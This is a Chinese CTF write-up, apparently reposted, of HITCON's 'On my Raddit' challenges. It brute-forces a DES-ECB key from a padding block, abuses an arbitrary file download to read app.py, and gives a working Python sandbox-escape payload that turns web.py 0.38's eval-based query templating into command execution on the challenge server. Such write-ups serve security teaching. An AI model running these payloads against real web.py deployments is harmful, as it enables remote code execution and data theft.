内容简介:orange 大大出的这个题与其放在 Web 里,不如放在 Crypto 里。这里说一下比赛时的思路。打开题目:
On my Raddit
orange 大大出的这个题与其放在 Web 里,不如放在 Crypto 里。这里说一下比赛时的思路。
打开题目:
flag 是加密密钥,而 hint
提示加密密钥是 小写字母
。还有一个 P
的提示。
查看一波源码:
可以看到都是 ?s=密文
的形式。网页提供了一个页面显示多少文章的选项,我们关注一下这块的源码:
可以看到两个密文前 64bit是一样的,后 64bit 不同,可以推断 64 bit 应该是一个分组,而且明文应该是 salt+number
的形式,salt 相同导致第一段密文相同。
接着我开始分析下面的链接的密文,起初我的想法是分析密文长度,根据密文长度和文章名的长度来推测 salt 的格式(文章名字越长密文越长),但是这个 salt 格式推了半天发现也没有卵用。
这个题不同于一般的密码题,一般都是要还原明文,这里 flag 是密钥,知道了明文也没用。
陷入了瓶颈,想找源码泄露找不到,扫一波目录还把我 ip ban了一会...
可用信息看来就这么多。想起提示密钥是小写字母,无疑缩小范围。如果不给这个提示, 2^56
我绝对爆破不出来,既然给了这个提示,所以我的思路就是爆破。
通过分组长度是 64bit可以推测加密算法应该是 DES,常用的应该也就 DES 分块是 64 bit。接下来需要找到明密文对,我源代码里搜寻了一下 limit=10 的链接密文后 64bit: 3ca92540eb2d0a42 结果发现了点东西:
发现竟然有 18 处这个密文! 仔细观察发现都在末尾!!
豁然开朗,看来这是 ECB 模式的 DES,这么多相同的密文绝不是巧合,一定是相同的明文。相同的明文都在而且都在最后,显然是 Padding 的时候,如果明文长度正好是分块的长度。假设分块长度是 8 字节,那么这种情况下会补8个 08
字节。详细的请看下 PKCS5
填充规则。想起了提示 P 应该就是提示 Padding 。
这八个 08 字节加密的密文都是 3ca92540eb2d0a42,所以有 18 处这块密文。
找到了明密文对,直接开始爆破的话,那就是 26^8
,我计算了一下是 2^38
,我觉得是爆不出来...
想到了 DES 实际可用的密钥只有 56 bit,比如第一个字节是'b',那么密钥前八位是 01100010
,注意这里最后一位的 0 没有作用,在 DES 中每个字节的最后一位时被丢弃的,也就是说第一个字节用 b 加密和用 c 加密没有区别。
这样的话,b 和 c 效果一样,d 和 e 效果一样,也就是我们只需要 13^8==2^30
步就可以遍历完,直接爆破:
(脚本很丑,而且单线程)
# _*_ coding:utf-8 _*_ from Crypto.Cipher import DES list="acegikmoqsuwy" for a in list: key1 = a for b in list: key2 = key1 + b for c in list: key3 = key2 + c for d in list: key4 = key3 + d for e in list: key5 = key4 + e for f in list: key6 = key5 + f for g in list: key7 = key6 + g for h in list: key = key7 + h print key obj = DES.new(key) if obj.decrypt("3ca92540eb2d0a42".decode("hex"))=="0808080808080808".decode("hex"): print key exit()
5 点多开始跑,跑到8点多结束了... 打印出来的 key 是: megooaso
,注意这不是真正的密钥,除去 a,剩下的都有和它相邻字符等价效果的,没办法我想把所以字符串打出来,看看哪个像个单词:
# _*_ coding:utf-8 _*_ for a in "lm": key1 = a for b in "de": key2 = key1 + b for c in "fg": key3 = key2 + c for d in "no": key4 = key3 + d for e in "no": key5 = key4 + e for f in "a": key6 = key5 + f for g in "rs": key7 = key6 + g for h in "no": key = key7 + h print key
挨个看发现没有像单词的... l 开头的应该不是,m 开头的试了试,最终 megnnaro
是 flag。
hitcon{megnnaro}
另外看了 orange 的解答才发现用 hashcat 秒解... 但是我的 hashcat 不知怎么回事用不了,照着师傅们的命令执行都不行orz。有成功使用 hashcat 解出来的师傅可以联系一下我给我指点一波...还有的师傅找到了别的明密文对,只能说 tql ,对着这一大串能猜出另外的明密文对。 orange 题解中说用 python 单线程 10 min跑完,不知道这个 10 min 怎么来的...我跑了快三个小时。
这个题的第二关 On my Raddit V2 题目说是 getshell,一样的环境。有了密钥我就可以把那些密文都解出来,解出来那些只是些没有用的东西:
u=70c97cc1-079f-4d01-8798-f36925ec1fd7&m=r&t=Ghostbuster%3A+Detecting+the+Presence+of+Hidden+Eavesdroppers+%5Bpdf%5D
不过题目有个下载文件的地方:
把那个链接解密一下: m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
应该可以任意下载文件,根据 hint.py 可以推断这是 python 写的,那么下载一波 app.py。
m=d&f=app.py 加密得到e2272b36277c708bc21066647bc214b8 发过去 http://13.115.255.46/?S=e2272b36277c708bc21066647bc214b8
可以下到app.py:
# coding: UTF-8 import os import web import urllib import urlparse from Crypto.Cipher import DES web.config.debug = False ENCRPYTION_KEY = 'megnnaro' urls = ( '/', 'index' ) app = web.application(urls, globals()) db = web.database(dbn='sqlite', db='db.db') def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') def decrypt(s): try: data = s.decode('hex') cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) data = cipher.decrypt(data) data = data[:-ord(data[-1])] return dict(urlparse.parse_qsl(data)) except Exception as e: print e.message return {} def get_posts(limit=None): records = [] for i in db.select('posts', limit=limit, order='ups desc'): tmp = { 'm': 'r', 't': i.title.encode('utf-8', 'ignore'), 'u': i.id, } tmp['param'] = encrypt(urllib.urlencode(tmp)) tmp['ups'] = i.ups if i.file: tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file})) else: tmp['file'] = '' records.append( tmp ) return records def get_urls(): urls = [] for i in [10, 100, 1000]: data = { 'm': 'p', 'l': i } urls.append( encrypt(urllib.urlencode(data)) ) return urls class index: def GET(self): s = web.input().get('s') if not s: return web.template.frender('templates/index.html')(get_posts(), get_urls()) else: s = decrypt(s) method = s.get('m', '') if method and method not in list('rdp'): return 'param error' if method == 'r': uid = s.get('u') record = db.select('posts', where='id=$id', vars={'id': uid}).first() if record: raise web.seeother(record.url) else: return 'not found' elif method == 'd': file = s.get('f') if not os.path.exists(file): return 'not found' name = os.path.basename(file) web.header('Content-Disposition', 'attachment; filename=%s' % name) web.header('Content-Type', 'application/pdf') with open(file, 'rb') as fp: data = fp.read() return data elif method == 'p': limit = s.get('l') return web.template.frender('templates/index.html')(get_posts(limit), get_urls()) else: return web.template.frender('templates/index.html')(get_posts(), get_urls()) if __name__ == "__main__": app.run()
其实之后才了解到,orange 的本意是拿到了一个等效密钥,然后就去读到源码,这样就能看到密钥了。这句提示:
当时没有注意到...就去穷举试了 (不敢写提交 flag 的脚本怕被 ban)
On my Raddit V2(复现)
web.py 审不动... 跟着师傅们复现了一波。
赛后跟 Nu1l 和 TD 的师傅请教了一波,师傅甩出的链接: https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/
,看了半天也不知道和此题联系在哪。
才得知这题要追 web.py 的源码。
除了上面下的 app.py,还要下一个 requirements.txt
文档
encrypt("m=d&f=requirements.txt") -> fc3769d67641424d59387bf7f393b4e4d0acd96cd08fe232 payload: ?s=fc3769d67641424d59387bf7f393b4e4d0acd96cd08fe232
发现 web.py 版本是 0.38,所以这个 链接 的洞还没有修彻底。
开始看链接与题联系不到一起,之后才知道要追 web.py 源码。在 app.py 中这句代码:
去追这个 limit:
发现代入了查询里,限制查询出的结果数。
追 web.py 的源码,也就是 db.select
函数,就能追到链接的地方:
def reparam(string_, dictionary): """ Takes a string and a dictionary and interpolates the string using values from the dictionary. Returns an `SQLQuery` for the result. >>> reparam("s = $s", dict(s=True)) <sql: "s = 't'"> >>> reparam("s IN $s", dict(s=[1, 2])) <sql: 's IN (1, 2)'> """ dictionary = dictionary.copy() # eval mucks with it vals = [] result = [] for live, chunk in _interpolate(string_): if live: v = eval(chunk, dictionary) result.append(sqlquote(v)) else: result.append(chunk) return SQLQuery.join(result, '')
文中说了 The entry points to reparam() are functions _where(), query(), and gen_clause()
query() 对应的就是此题的 db.select
,这里看到了非常显眼的 eval。
根据链接中的方法构造 payload:
import urllib import urlparse from Crypto.Cipher import DES ENCRPYTION_KEY = 'megnnaro' def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') def decrypt(s): try: data = s.decode('hex') cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) data = cipher.decrypt(data) data = data[:-ord(data[-1])] return dict(urlparse.parse_qsl(data)) except Exception as e: print e.message return {} print encrypt(urllib.urlencode({'m': 'p', 'l': "${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls / > /tmp/gml.txt'))()}"})) print encrypt(urllib.urlencode({'m':'d','f':'/tmp/gml.txt'}))
看看根目录有啥东西,这里没有回显所以我们把执行结果写入文件再去下载:
执行结果:
d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b5bee3bac58d5ae4add21bdbd2653d63691ca068a2bd875b32f132007c8a1d5e7c12cd963db7c487ddafb51c16b96b4757 4373ac92f9aea2e244e5098a963b4b3c1ee96782d23e0f27
挨个访问,下载到 ls 的命令结果:
看到了 read_flag
,执行这个应该就可以得到 flag,修改payload:
print encrypt(urllib.urlencode({'m': 'p', 'l': "${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('/read_flag > /tmp/gml.txt'))()}"})) print encrypt(urllib.urlencode({'m':'d','f':'/tmp/gml.txt'}))
结果:
d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b543324bca0702d4140e4bdc4c1ebe0ea54e28b1ed72c5f16ec1f8c82e7f139f375a806b6212666f872dfbb2d1031b37ca9e581b6f767797bd 4373ac92f9aea2e244e5098a963b4b3c1ee96782d23e0f27
挨个访问,可以得到 flag:
hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}
参考:
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。